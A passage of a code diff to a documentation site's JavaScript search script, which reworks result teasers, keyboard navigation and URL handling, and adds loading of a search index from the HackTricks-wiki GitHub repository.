- exclude: mark_exclude + + //IE 11 Compatibility from https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/startsWith + if (!String.prototype.startsWith) { + String.prototype.startsWith = function(search, pos) { + return this.substr(!pos || pos < 0 ? 0 : +pos, search.length) === search; + }; + } + + var search_wrap = document.getElementById('search-wrapper'), + search_modal = document.getElementById('search-modal'), + searchbar = document.getElementById('searchbar'), + searchbar_outer = document.getElementById('searchbar-outer'), + searchresults = document.getElementById('searchresults'), + searchresults_outer = document.getElementById('searchresults-outer'), + searchresults_header = document.getElementById('searchresults-header'), + searchicon = document.getElementById('search-toggle'), + content = document.getElementById('content'), + + searchindex = null, + doc_urls = [], + results_options = { + teaser_word_count: 30, + limit_results: 30, + }, + search_options = { + bool: "AND", + expand: true, + fields: { + title: {boost: 1}, + body: {boost: 1}, + breadcrumbs: {boost: 0} + } + }, + mark_exclude = [], + marker = new Mark(content), + current_searchterm = "", + URL_SEARCH_PARAM = 'search', + URL_MARK_PARAM = 'highlight', + teaser_count = 0, + + SEARCH_HOTKEY_KEYCODE = 83, + ESCAPE_KEYCODE = 27, + DOWN_KEYCODE = 40, + UP_KEYCODE = 38, + SELECT_KEYCODE = 13; + + function hasFocus() { + return searchbar === document.activeElement; + } + + function removeChildren(elem) { + while (elem.firstChild) { + elem.removeChild(elem.firstChild); + } + } + + // Helper to parse a url into its building blocks. + function parseURL(url) { + var a = document.createElement('a'); + a.href = url; + return { + source: url, + protocol: a.protocol.replace(':',''), + host: a.hostname, + port: a.port, + params: (function(){ + var ret = {}; + var seg = a.search.replace(/^\?/,'').split('&'); + var len = seg.length, i = 0, s; + for (;i': '>', + '"': '"', + "'": ''' + }; + var repl = function(c) { return MAP[c]; }; + return function(s) { + return s.replace(/[&<>'"]/g, repl); + }; + })(); + + function formatSearchMetric(count, searchterm) { + if (count == 1) { + return count + " search result for '" + searchterm + "':"; + } else if (count == 0) { + return "No search results for '" + searchterm + "'."; + } else { + return count + " search results for '" + searchterm + "':"; + } + } + + function formatSearchResult(result, searchterms) { + var teaser = makeTeaser(escapeHTML(result.doc.body), searchterms); + teaser_count++; + + // The ?URL_MARK_PARAM= parameter belongs inbetween the page and the #heading-anchor + var url = doc_urls[result.ref].split("#"); + if (url.length == 1) { // no anchor found + url.push(""); + } + + // encodeURIComponent escapes all chars that could allow an XSS except + // for '. Due to that we also manually replace ' with its url-encoded + // representation (%27). + var searchterms = encodeURIComponent(searchterms.join(" ")).replace(/\'/g, "%27"); + + return '' + result.doc.breadcrumbs + + '' + + teaser + '' + ''; + } + + function makeTeaser(body, searchterms) { + // The strategy is as follows: + // First, assign a value to each word in the document: + // Words that correspond to search terms (stemmer aware): 40 + // Normal words: 2 + // First word in a sentence: 8 + // Then use a sliding window with a constant number of words and count the + // sum of the values of the words within the window. Then use the window that got the + // maximum sum. If there are multiple maximas, then get the last one. + // Enclose the terms in . + var stemmed_searchterms = searchterms.map(function(w) { + return elasticlunr.stemmer(w.toLowerCase()); }); - - var markers = document.querySelectorAll("mark"); - function hide() { + var searchterm_weight = 40; + var weighted = []; // contains elements of ["word", weight, index_in_document] + // split in sentences, then words + var sentences = body.toLowerCase().split('. '); + var index = 0; + var value = 0; + var searchterm_found = false; + for (var sentenceindex in sentences) { + var words = sentences[sentenceindex].split(' '); + value = 8; + for (var wordindex in words) { + var word = words[wordindex]; + if (word.length > 0) { + for (var searchtermindex in stemmed_searchterms) { + if (elasticlunr.stemmer(word).startsWith(stemmed_searchterms[searchtermindex])) { + value = searchterm_weight; + searchterm_found = true; + } + }; + weighted.push([word, value, index]); + value = 2; + } + index += word.length; + index += 1; // ' ' or '.' if last word in sentence + }; + index += 1; // because we split at a two-char boundary '. ' + }; + + if (weighted.length == 0) { + return body; + } + + var window_weight = []; + var window_size = Math.min(weighted.length, results_options.teaser_word_count); + + var cur_sum = 0; + for (var wordindex = 0; wordindex < window_size; wordindex++) { + cur_sum += weighted[wordindex][1]; + }; + window_weight.push(cur_sum); + for (var wordindex = 0; wordindex < weighted.length - window_size; wordindex++) { + cur_sum -= weighted[wordindex][1]; + cur_sum += weighted[wordindex + window_size][1]; + window_weight.push(cur_sum); + }; + + if (searchterm_found) { + var max_sum = 0; + var max_sum_window_index = 0; + // backwards + for (var i = window_weight.length - 1; i >= 0; i--) { + if (window_weight[i] > max_sum) { + max_sum = window_weight[i]; + max_sum_window_index = i; + } + }; + } else { + max_sum_window_index = 0; + } + + // add around searchterms + var teaser_split = []; + var index = weighted[max_sum_window_index][2]; + for (var i = max_sum_window_index; i < max_sum_window_index+window_size; i++) { + var word = weighted[i]; + if (index < word[2]) { + // missing text from index to start of `word` + teaser_split.push(body.substring(index, word[2])); + index = word[2]; + } + if (word[1] == searchterm_weight) { + teaser_split.push("") + } + index = word[2] + word[0].length; + teaser_split.push(body.substring(word[2], index)); + if (word[1] == searchterm_weight) { + teaser_split.push("") + } + }; + + return teaser_split.join(''); + } + + function init(config) { + results_options = config.results_options; + search_options = config.search_options; + searchbar_outer = config.searchbar_outer; + doc_urls = config.doc_urls; + searchindex = elasticlunr.Index.load(config.index); + + // Set up events + searchicon.addEventListener('click', function(e) { searchIconClickHandler(); }, false); + search_wrap.addEventListener('click', function(e) { searchIconClickHandler(); }, false); + search_modal.addEventListener('click', function(e) { e.stopPropagation(); }, false); + searchbar.addEventListener('keyup', function(e) { searchbarKeyUpHandler(); }, false); + document.addEventListener('keydown', function(e) { globalKeyHandler(e); }, false); + // If the user uses the browser buttons, do the same as if a reload happened + window.onpopstate = function(e) { doSearchOrMarkFromUrl(); }; + // Suppress "submit" events so the page doesn't reload when the user presses Enter + document.addEventListener('submit', function(e) { e.preventDefault(); }, false); + + // If reloaded, do the search or mark again, depending on the current url parameters + doSearchOrMarkFromUrl(); + } + + function unfocusSearchbar() { + // hacky, but just focusing a div only works once + var tmp = document.createElement('input'); + tmp.setAttribute('style', 'position: absolute; opacity: 0;'); + searchicon.appendChild(tmp); + tmp.focus(); + tmp.remove(); + } + + // On reload or browser history backwards/forwards events, parse the url and do search or mark + function doSearchOrMarkFromUrl() { + // Check current URL for search request + var url = parseURL(window.location.href); + if (url.params.hasOwnProperty(URL_SEARCH_PARAM) + && url.params[URL_SEARCH_PARAM] != "") { + showSearch(true); + searchbar.value = decodeURIComponent( + (url.params[URL_SEARCH_PARAM]+'').replace(/\+/g, '%20')); + searchbarKeyUpHandler(); // -> doSearch() + } else { + showSearch(false); + } + + if (url.params.hasOwnProperty(URL_MARK_PARAM)) { + var words = decodeURIComponent(url.params[URL_MARK_PARAM]).split(' '); + marker.mark(words, { + exclude: mark_exclude + }); + + var markers = document.querySelectorAll("mark"); + function hide() { + for (var i = 0; i < markers.length; i++) { + markers[i].classList.add("fade-out"); + window.setTimeout(function(e) { marker.unmark(); }, 300); + } + } for (var i = 0; i < markers.length; i++) { - markers[i].classList.add("fade-out"); - window.setTimeout(function(e) { marker.unmark(); }, 300); + markers[i].addEventListener('click', hide); } } - for (var i = 0; i < markers.length; i++) { - markers[i].addEventListener('click', hide); - } } - } + + // Eventhandler for keyevents on `document` + function globalKeyHandler(e) { + if (e.altKey || e.ctrlKey || e.metaKey || e.shiftKey || e.target.type === 'textarea' || e.target.type === 'text' || !hasFocus() && /^(?:input|select|textarea)$/i.test(e.target.nodeName)) { return; } - // Eventhandler for keyevents on `document` - function globalKeyHandler(e) { - if (e.altKey || e.ctrlKey || e.metaKey || e.shiftKey || e.target.type === 'textarea' || e.target.type === 'text' || !hasFocus() && /^(?:input|select|textarea)$/i.test(e.target.nodeName)) { return; } - - if (e.keyCode === ESCAPE_KEYCODE) { - e.preventDefault(); - searchbar.classList.remove("active"); - setSearchUrlParameters("", - (searchbar.value.trim() !== "") ? "push" : "replace"); - if (hasFocus()) { + if (e.keyCode === ESCAPE_KEYCODE) { + e.preventDefault(); + searchbar.classList.remove("active"); + setSearchUrlParameters("", + (searchbar.value.trim() !== "") ? "push" : "replace"); + if (hasFocus()) { + unfocusSearchbar(); + } + showSearch(false); + marker.unmark(); + } else if (!hasFocus() && e.keyCode === SEARCH_HOTKEY_KEYCODE) { + e.preventDefault(); + showSearch(true); + window.scrollTo(0, 0); + searchbar.select(); + } else if (hasFocus() && e.keyCode === DOWN_KEYCODE) { + e.preventDefault(); unfocusSearchbar(); - } - showSearch(false); - marker.unmark(); - } else if (!hasFocus() && e.keyCode === SEARCH_HOTKEY_KEYCODE) { - e.preventDefault(); - showSearch(true); - window.scrollTo(0, 0); - searchbar.select(); - } else if (hasFocus() && e.keyCode === DOWN_KEYCODE) { - e.preventDefault(); - unfocusSearchbar(); - searchresults.firstElementChild.classList.add("focus"); - } else if (!hasFocus() && (e.keyCode === DOWN_KEYCODE - || e.keyCode === UP_KEYCODE - || e.keyCode === SELECT_KEYCODE)) { - // not `:focus` because browser does annoying scrolling - var focused = searchresults.querySelector("li.focus"); - if (!focused) return; - e.preventDefault(); - if (e.keyCode === DOWN_KEYCODE) { - var next = focused.nextElementSibling; - if (next) { + searchresults.firstElementChild.classList.add("focus"); + } else if (!hasFocus() && (e.keyCode === DOWN_KEYCODE + || e.keyCode === UP_KEYCODE + || e.keyCode === SELECT_KEYCODE)) { + // not `:focus` because browser does annoying scrolling + var focused = searchresults.querySelector("li.focus"); + if (!focused) return; + e.preventDefault(); + if (e.keyCode === DOWN_KEYCODE) { + var next = focused.nextElementSibling; + if (next) { + focused.classList.remove("focus"); + next.classList.add("focus"); + } + } else if (e.keyCode === UP_KEYCODE) { focused.classList.remove("focus"); - next.classList.add("focus"); + var prev = focused.previousElementSibling; + if (prev) { + prev.classList.add("focus"); + } else { + searchbar.select(); + } + } else { // SELECT_KEYCODE + window.location.assign(focused.querySelector('a')); } - } else if (e.keyCode === UP_KEYCODE) { - focused.classList.remove("focus"); - var prev = focused.previousElementSibling; - if (prev) { - prev.classList.add("focus"); - } else { - searchbar.select(); - } - } else { // SELECT_KEYCODE - window.location.assign(focused.querySelector('a')); } } - } - - function showSearch(yes) { - if (yes) { - search_wrap.classList.remove('hidden'); - searchicon.setAttribute('aria-expanded', 'true'); - } else { - search_wrap.classList.add('hidden'); - searchicon.setAttribute('aria-expanded', 'false'); - var results = searchresults.children; - for (var i = 0; i < results.length; i++) { - results[i].classList.remove("focus"); + + function showSearch(yes) { + if (yes) { + search_wrap.classList.remove('hidden'); + searchicon.setAttribute('aria-expanded', 'true'); + } else { + search_wrap.classList.add('hidden'); + searchicon.setAttribute('aria-expanded', 'false'); + var results = searchresults.children; + for (var i = 0; i < results.length; i++) { + results[i].classList.remove("focus"); + } } } - } - - function showResults(yes) { - if (yes) { - searchresults_outer.classList.remove('hidden'); - } else { - searchresults_outer.classList.add('hidden'); - } - } - - // Eventhandler for search icon - function searchIconClickHandler() { - if (search_wrap.classList.contains('hidden')) { - showSearch(true); - window.scrollTo(0, 0); - searchbar.select(); - } else { - showSearch(false); - } - } - // Eventhandler for keyevents while the searchbar is focused - function searchbarKeyUpHandler() { - var searchterm = searchbar.value.trim(); - if (searchterm != "") { - searchbar.classList.add("active"); - doSearch(searchterm); - } else { - searchbar.classList.remove("active"); - showResults(false); + function showResults(yes) { + if (yes) { + searchresults_outer.classList.remove('hidden'); + } else { + searchresults_outer.classList.add('hidden'); + } + } + + // Eventhandler for search icon + function searchIconClickHandler() { + if (search_wrap.classList.contains('hidden')) { + showSearch(true); + window.scrollTo(0, 0); + searchbar.select(); + } else { + showSearch(false); + } + } + + // Eventhandler for keyevents while the searchbar is focused + function searchbarKeyUpHandler() { + var searchterm = searchbar.value.trim(); + if (searchterm != "") { + searchbar.classList.add("active"); + doSearch(searchterm); + } else { + searchbar.classList.remove("active"); + showResults(false); + removeChildren(searchresults); + } + + setSearchUrlParameters(searchterm, "push_if_new_search_else_replace"); + + // Remove marks + marker.unmark(); + } + + // Update current url with ?URL_SEARCH_PARAM= parameter, remove ?URL_MARK_PARAM and #heading-anchor . + // `action` can be one of "push", "replace", "push_if_new_search_else_replace" + // and replaces or pushes a new browser history item. + // "push_if_new_search_else_replace" pushes if there is no `?URL_SEARCH_PARAM=abc` yet. + function setSearchUrlParameters(searchterm, action) { + var url = parseURL(window.location.href); + var first_search = ! url.params.hasOwnProperty(URL_SEARCH_PARAM); + if (searchterm != "" || action == "push_if_new_search_else_replace") { + url.params[URL_SEARCH_PARAM] = searchterm; + delete url.params[URL_MARK_PARAM]; + url.hash = ""; + } else { + delete url.params[URL_MARK_PARAM]; + delete url.params[URL_SEARCH_PARAM]; + } + // A new search will also add a new history item, so the user can go back + // to the page prior to searching. A updated search term will only replace + // the url. + if (action == "push" || (action == "push_if_new_search_else_replace" && first_search) ) { + history.pushState({}, document.title, renderURL(url)); + } else if (action == "replace" || (action == "push_if_new_search_else_replace" && !first_search) ) { + history.replaceState({}, document.title, renderURL(url)); + } + } + + function doSearch(searchterm) { + + // Don't search the same twice + if (current_searchterm == searchterm) { return; } + else { current_searchterm = searchterm; } + + if (searchindex == null) { return; } + + // Do the actual search + var results = searchindex.search(searchterm, search_options); + var resultcount = Math.min(results.length, results_options.limit_results); + + // Display search metrics + searchresults_header.innerText = formatSearchMetric(resultcount, searchterm); + + // Clear and insert results + var searchterms = searchterm.split(' '); removeChildren(searchresults); - } - - setSearchUrlParameters(searchterm, "push_if_new_search_else_replace"); - - // Remove marks - marker.unmark(); - } + for(var i = 0; i < resultcount ; i++){ + var resultElem = document.createElement('li'); + resultElem.innerHTML = formatSearchResult(results[i], searchterms); + searchresults.appendChild(resultElem); + } - // Update current url with ?URL_SEARCH_PARAM= parameter, remove ?URL_MARK_PARAM and #heading-anchor . - // `action` can be one of "push", "replace", "push_if_new_search_else_replace" - // and replaces or pushes a new browser history item. - // "push_if_new_search_else_replace" pushes if there is no `?URL_SEARCH_PARAM=abc` yet. - function setSearchUrlParameters(searchterm, action) { - var url = parseURL(window.location.href); - var first_search = ! url.params.hasOwnProperty(URL_SEARCH_PARAM); - if (searchterm != "" || action == "push_if_new_search_else_replace") { - url.params[URL_SEARCH_PARAM] = searchterm; - delete url.params[URL_MARK_PARAM]; - url.hash = ""; - } else { - delete url.params[URL_MARK_PARAM]; - delete url.params[URL_SEARCH_PARAM]; + // Display results + showResults(true); } - // A new search will also add a new history item, so the user can go back - // to the page prior to searching. A updated search term will only replace - // the url. - if (action == "push" || (action == "push_if_new_search_else_replace" && first_search) ) { - history.pushState({}, document.title, renderURL(url)); - } else if (action == "replace" || (action == "push_if_new_search_else_replace" && !first_search) ) { - history.replaceState({}, document.title, renderURL(url)); - } - } - function doSearch(searchterm) { - - // Don't search the same twice - if (current_searchterm == searchterm) { return; } - else { current_searchterm = searchterm; } - - if (searchindex == null) { return; } - - // Do the actual search - var results = searchindex.search(searchterm, search_options); - var resultcount = Math.min(results.length, results_options.limit_results); - - // Display search metrics - searchresults_header.innerText = formatSearchMetric(resultcount, searchterm); - - // Clear and insert results - var searchterms = searchterm.split(' '); - removeChildren(searchresults); - for(var i = 0; i < resultcount ; i++){ - var resultElem = document.createElement('li'); - resultElem.innerHTML = formatSearchResult(results[i], searchterms); - searchresults.appendChild(resultElem); - } - - // Display results - showResults(true); - } - - (async function loadSearchIndex(lang = window.lang || "en") { - const branch = lang === "en" ? "master" : lang; - const rawUrl = - `https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/refs/heads/${branch}/searchindex.js`; - const localJs = "/searchindex.js"; - const TIMEOUT_MS = 5_000; - - /* helper: inject a